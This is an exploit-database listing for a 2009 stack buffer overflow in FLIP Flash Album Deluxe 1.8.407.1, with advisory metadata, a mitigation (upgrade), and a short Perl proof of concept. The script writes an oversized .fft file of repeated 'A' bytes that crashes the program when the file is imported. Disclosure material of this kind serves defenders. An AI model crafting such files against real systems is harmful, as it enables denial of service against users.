FLIP Flash Album Deluxe 1.8.407.1 (.fft File) Crash Vulnerability Exploit

vendor:

Flip Flash Album Deluxe

by:

the_Edit0r

9,3

CVSS

HIGH

Buffer Overflow

120

CWE

Product Name: Flip Flash Album Deluxe

Affected Version From: 1.8.407.1

Affected Version To: 1.8.407.1

Patch Exists: YES

Related CWE: N/A

CPE: a:goztun:flip_flash_album_deluxe

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP Pro SP3

2009

FLIP Flash Album Deluxe 1.8.407.1 (.fft File) Crash Vulnerability Exploit

A buffer overflow vulnerability exists in FLIP Flash Album Deluxe 1.8.407.1, which can be exploited by malicious people to cause a DoS (Denial of Service). The vulnerability is caused due to a boundary error when processing a specially crafted .fft file. This can be exploited to cause a stack-based buffer overflow via an overly long string. Successful exploitation may allow execution of arbitrary code.

Mitigation:

Upgrade to version 1.8.407.2 or later.

Source

Exploit-DB raw data:

#!/usr/bin/perl
#[+] Bug : FLIP Flash Album Deluxe 1.8.407.1 (.fft File) Crash Vulnerability  Exploit
#[+] program  Download : http://www.goztun.com/download/FlipFlashAlbumDeluxeSetup.exe
#[+] Author : the_Edit0r
# Contact me : the_3dit0r[at]Yahoo[dot]coM
#[+] Greetz to all my friends
#[+] Tested on: Windows XP Pro SP3
#[+] web site: Expl0iters.ir  * Anti-security.ir
#[+] Big thnx: H4ckcity Member


my $crash="\x41\x41\x41\x41\x41" x 100005;
open(myfile,'>>Edit0r.fft');
print myfile $crash;
close($FILE);
print "File Created successfully\n";

# After Clicking On file Perl  Run The Program  ,import template  ( .fft  file) Boom !!!!!!! the Program Crashed

# milw0rm.com [2009-08-24]